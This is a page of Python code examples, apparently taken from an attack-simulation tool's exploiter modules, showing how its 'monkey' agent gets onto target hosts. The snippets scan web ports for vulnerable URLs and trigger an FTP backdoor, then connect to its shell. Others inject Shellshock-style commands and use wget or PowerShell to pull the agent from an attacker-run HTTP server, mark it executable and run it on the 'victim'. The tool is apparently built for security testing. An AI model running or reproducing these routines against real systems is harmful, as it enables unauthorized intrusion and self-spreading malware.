Example #1
0
    def _exploit_host(self):
        """
        Method that contains default exploitation workflow
        :return: True if exploited, False otherwise
        """
        # We get exploit configuration
        exploit_config = self.get_exploit_config()
        # Get open ports
        ports = self.get_ports_w(self.HTTP, ["http"])
        if not ports:
            return False
        # Get urls to try to exploit
        potential_urls = self.build_potential_urls(ports, exploit_config["url_extensions"])
        self.add_vulnerable_urls(potential_urls, exploit_config["stop_checking_urls"])

        if not self.are_vulnerable_urls_sufficient():
            return False

        self.target_url = self.get_target_url()
        self.vulnerable_port = HTTPTools.get_port_from_url(self.target_url)

        # Skip if monkey already exists and this option is given
        if (
            not exploit_config["blind_exploit"]
            and self.skip_exist
            and self.check_remote_files(self.target_url)
        ):
            LOG.info(
                "Host %s was already infected under the current configuration, done" % self.host
            )
            return True

        # Check for targets architecture (if it's 32 or 64 bit)
        if not exploit_config["blind_exploit"] and not self.set_host_arch(self.get_target_url()):
            return False

        # Upload the right monkey to target
        data = self.upload_monkey(self.get_target_url(), exploit_config["upload_commands"])

        if data is False:
            return False

        # Change permissions to transform monkey into executable file
        if self.change_permissions(self.get_target_url(), data["path"]) is False:
            return False

        # Execute remote monkey
        if (
            self.execute_remote_monkey(
                self.get_target_url(), data["path"], exploit_config["dropper"]
            )
            is False
        ):
            return False

        return True
Example #2
0
    def upload_monkey(self, url, commands=None):
        """
        :param url: Where exploiter should send it's request
        :param commands: Unformatted dict with one or two commands {'linux': LIN_CMD, 'windows': WIN_CMD}
        Command must have "monkey_path" and "http_path" format parameters.
        :return: {'response': response/False, 'path': monkeys_path_in_host}
        """
        LOG.info("Trying to upload monkey to the host.")
        if not self.host.os['type']:
            LOG.error("Unknown target's os type. Skipping.")
            return False
        paths = self.get_monkey_paths()
        if not paths:
            return False
        # Create server for http download and wait for it's startup.
        http_path, http_thread = HTTPTools.create_locked_transfer(
            self.host, paths['src_path'])
        if not http_path:
            LOG.debug("Exploiter failed, http transfer creation failed.")
            return False
        LOG.info("Started http server on %s", http_path)
        # Choose command:
        if not commands:
            commands = {
                'windows': POWERSHELL_HTTP_UPLOAD,
                'linux': WGET_HTTP_UPLOAD
            }
        command = self.get_command(paths['dest_path'], http_path, commands)

        resp = self.exploit(url, command)
        self.add_executed_cmd(command)
        resp = self.run_backup_commands(resp, url, paths['dest_path'],
                                        http_path)

        http_thread.join(DOWNLOAD_TIMEOUT)
        http_thread.stop()
        LOG.info("Uploading process finished")
        # If response is false exploiter failed
        if resp is False:
            return resp
        else:
            return {'response': resp, 'path': paths['dest_path']}
Example #3
0
 def _exploit_host(self):
     # Try to get exploitable url
     urls = self.build_potential_urls(self.HADOOP_PORTS)
     self.add_vulnerable_urls(urls, True)
     if not self.vulnerable_urls:
         return False
     # We presume hadoop works only on 64-bit machines
     if self.host.os['type'] == 'windows':
         self.host.os['machine'] = '64'
     paths = self.get_monkey_paths()
     if not paths:
         return False
     http_path, http_thread = HTTPTools.create_locked_transfer(
         self.host, paths['src_path'])
     command = self.build_command(paths['dest_path'], http_path)
     if not self.exploit(self.vulnerable_urls[0], command):
         return False
     http_thread.join(self.DOWNLOAD_TIMEOUT)
     http_thread.stop()
     self.add_executed_cmd(command)
     return True
Example #4
0
 def set_vulnerable_port_from_url(self, url):
     self.vulnerable_port = HTTPTools.get_port_from_url(url)
Example #5
0
    def _exploit_host(self):
        LOG.info("Attempting to trigger the Backdoor..")
        ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        if self.socket_connect(ftp_socket, self.host.ip_addr, FTP_PORT):
            ftp_socket.recv(RECV_128).decode('utf-8')

        if self.socket_send_recv(ftp_socket, USERNAME + '\n'):
            time.sleep(FTP_TIME_BUFFER)
            self.socket_send(ftp_socket, PASSWORD + '\n')
            ftp_socket.close()
            LOG.info('Backdoor Enabled, Now we can run commands')
        else:
            LOG.error('Failed to trigger backdoor on %s', self.host.ip_addr)
            return False

        LOG.info('Attempting to connect to backdoor...')
        backdoor_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        if self.socket_connect(backdoor_socket, self.host.ip_addr,
                               BACKDOOR_PORT):
            LOG.info('Connected to backdoor on %s:6200', self.host.ip_addr)

        uname_m = str.encode(UNAME_M + '\n')
        response = self.socket_send_recv(backdoor_socket, uname_m)

        if response:
            LOG.info('Response for uname -m: %s', response)
            if '' != response.lower().strip():
                # command execution is successful
                self.host.os['machine'] = response.lower().strip()
                self.host.os['type'] = 'linux'
        else:
            LOG.info("Failed to execute command uname -m on victim %r ",
                     self.host)

        src_path = get_target_monkey(self.host)
        LOG.info("src for suitable monkey executable for host %r is %s",
                 self.host, src_path)

        if not src_path:
            LOG.info("Can't find suitable monkey executable for host %r",
                     self.host)
            return False

        # Create a http server to host the monkey
        http_path, http_thread = HTTPTools.create_locked_transfer(
            self.host, src_path)
        dropper_target_path_linux = self._config.dropper_target_path_linux
        LOG.info("Download link for monkey is %s", http_path)

        # Upload the monkey to the machine
        monkey_path = dropper_target_path_linux
        download_command = WGET_HTTP_UPLOAD % {
            'monkey_path': monkey_path,
            'http_path': http_path
        }
        download_command = str.encode(str(download_command) + '\n')
        LOG.info("Download command is %s", download_command)
        if self.socket_send(backdoor_socket, download_command):
            LOG.info('Monkey is now Downloaded ')
        else:
            LOG.error('Failed to download monkey at %s', self.host.ip_addr)
            return False

        http_thread.join(DOWNLOAD_TIMEOUT)
        http_thread.stop()

        # Change permissions
        change_permission = CHMOD_MONKEY % {'monkey_path': monkey_path}
        change_permission = str.encode(str(change_permission) + '\n')
        LOG.info("change_permission command is %s", change_permission)
        backdoor_socket.send(change_permission)
        T1222Telem(ScanStatus.USED, change_permission, self.host).send()

        # Run monkey on the machine
        parameters = build_monkey_commandline(self.host,
                                              get_monkey_depth() - 1)
        run_monkey = RUN_MONKEY % {
            'monkey_path': monkey_path,
            'monkey_type': MONKEY_ARG,
            'parameters': parameters
        }

        # Set unlimited to memory
        # we don't have to revert the ulimit because it just applies to the shell obtained by our exploit
        run_monkey = ULIMIT_V + UNLIMITED + run_monkey
        run_monkey = str.encode(str(run_monkey) + '\n')
        time.sleep(FTP_TIME_BUFFER)
        if backdoor_socket.send(run_monkey):
            LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
                     self._config.dropper_target_path_linux, self.host,
                     run_monkey)
            self.add_executed_cmd(run_monkey)
            return True
        else:
            return False
Example #6
0
    def _exploit_host(self):
        # start by picking ports
        candidate_services = {
            service: self.host.services[service]
            for service in self.host.services
            if ("name" in self.host.services[service]) and (
                self.host.services[service]["name"] == "http")
        }

        valid_ports = [
            (port, candidate_services["tcp-" + str(port)]["data"][1])
            for port in self.HTTP if "tcp-" + str(port) in candidate_services
        ]
        http_ports = [port[0] for port in valid_ports if not port[1]]
        https_ports = [port[0] for port in valid_ports if port[1]]

        LOG.info("Scanning %s, ports [%s] for vulnerable CGI pages" %
                 (self.host, ",".join([str(port[0]) for port in valid_ports])))

        attackable_urls = []
        # now for each port we want to check the entire URL list
        for port in http_ports:
            urls = self.check_urls(self.host.ip_addr, port)
            attackable_urls.extend(urls)
        for port in https_ports:
            urls = self.check_urls(self.host.ip_addr, port, is_https=True)
            attackable_urls.extend(urls)
        # now for each URl we want to try and see if it's attackable
        exploitable_urls = [
            self.attempt_exploit(url) for url in attackable_urls
        ]
        exploitable_urls = [url for url in exploitable_urls if url[0] is True]

        # we want to report all vulnerable URLs even if we didn't succeed
        self.exploit_info["vulnerable_urls"] = [
            url[1] for url in exploitable_urls
        ]

        # now try URLs until we install something on victim
        for _, url, header, exploit in exploitable_urls:
            LOG.info("Trying to attack host %s with %s URL" % (self.host, url))
            # same attack script as sshexec
            # for any failure, quit and don't try other URLs
            if not self.host.os.get("type"):
                try:
                    uname_os_attack = exploit + "/bin/uname -o"
                    uname_os = self.attack_page(url, header, uname_os_attack)
                    if "linux" in uname_os:
                        self.host.os["type"] = "linux"
                    else:
                        LOG.info("SSH Skipping unknown os: %s", uname_os)
                        return False
                except Exception as exc:
                    LOG.debug(
                        "Error running uname os command on victim %r: (%s)",
                        self.host, exc)
                    return False
            if not self.host.os.get("machine"):
                try:
                    uname_machine_attack = exploit + "/bin/uname -m"
                    uname_machine = self.attack_page(url, header,
                                                     uname_machine_attack)
                    if "" != uname_machine:
                        self.host.os["machine"] = uname_machine.lower().strip()
                except Exception as exc:
                    LOG.debug(
                        "Error running uname machine command on victim %r: (%s)",
                        self.host, exc)
                    return False

            # copy the monkey
            dropper_target_path_linux = self._config.dropper_target_path_linux
            if self.skip_exist and (self.check_remote_file_exists(
                    url, header, exploit, dropper_target_path_linux)):
                LOG.info(
                    "Host %s was already infected under the current configuration, "
                    "done" % self.host)
                return True  # return already infected

            src_path = get_target_monkey(self.host)
            if not src_path:
                LOG.info("Can't find suitable monkey executable for host %r",
                         self.host)
                return False

            if not self._create_lock_file(exploit, url, header):
                LOG.info("Another monkey is running shellshock exploit")
                return True

            http_path, http_thread = HTTPTools.create_transfer(
                self.host, src_path)

            if not http_path:
                LOG.debug(
                    "Exploiter ShellShock failed, http transfer creation failed."
                )
                return False

            download_command = "/usr/bin/wget %s -O %s;" % (
                http_path, dropper_target_path_linux)

            download = exploit + download_command
            self.attack_page(
                url, header, download
            )  # we ignore failures here since it might take more than TIMEOUT time

            http_thread.join(DOWNLOAD_TIMEOUT)
            http_thread.stop()

            self._remove_lock_file(exploit, url, header)

            if (http_thread.downloads !=
                    1) or ("ELF" not in self.check_remote_file_exists(
                        url, header, exploit, dropper_target_path_linux)):
                LOG.debug("Exploiter %s failed, http download failed." %
                          self.__class__.__name__)
                continue

            # turn the monkey into an executable
            chmod = "/bin/chmod +x %s" % dropper_target_path_linux
            run_path = exploit + chmod
            self.attack_page(url, header, run_path)
            T1222Telem(ScanStatus.USED, chmod, self.host).send()

            # run the monkey
            cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG)
            cmdline += build_monkey_commandline(
                self.host,
                get_monkey_depth() - 1,
                HTTPTools.get_port_from_url(url),
                dropper_target_path_linux,
            )
            cmdline += " & "
            run_path = exploit + cmdline
            self.attack_page(url, header, run_path)

            LOG.info(
                "Executed monkey '%s' on remote victim %r (cmdline=%r)",
                self._config.dropper_target_path_linux,
                self.host,
                cmdline,
            )

            if not (self.check_remote_file_exists(
                    url, header, exploit, self._config.monkey_log_path_linux)):
                LOG.info("Log file does not exist, monkey might not have run")
                continue
            self.add_executed_cmd(cmdline)
            return True

        return False
Example #7
0
 def _start_agent_http_server(self, agent_paths: dict) -> str:
     # Create server for http download and wait for it's startup.
     http_path, http_thread = HTTPTools.try_create_locked_transfer(
         self.host, agent_paths["src_path"])
     self._agent_http_server_thread = http_thread
     return http_path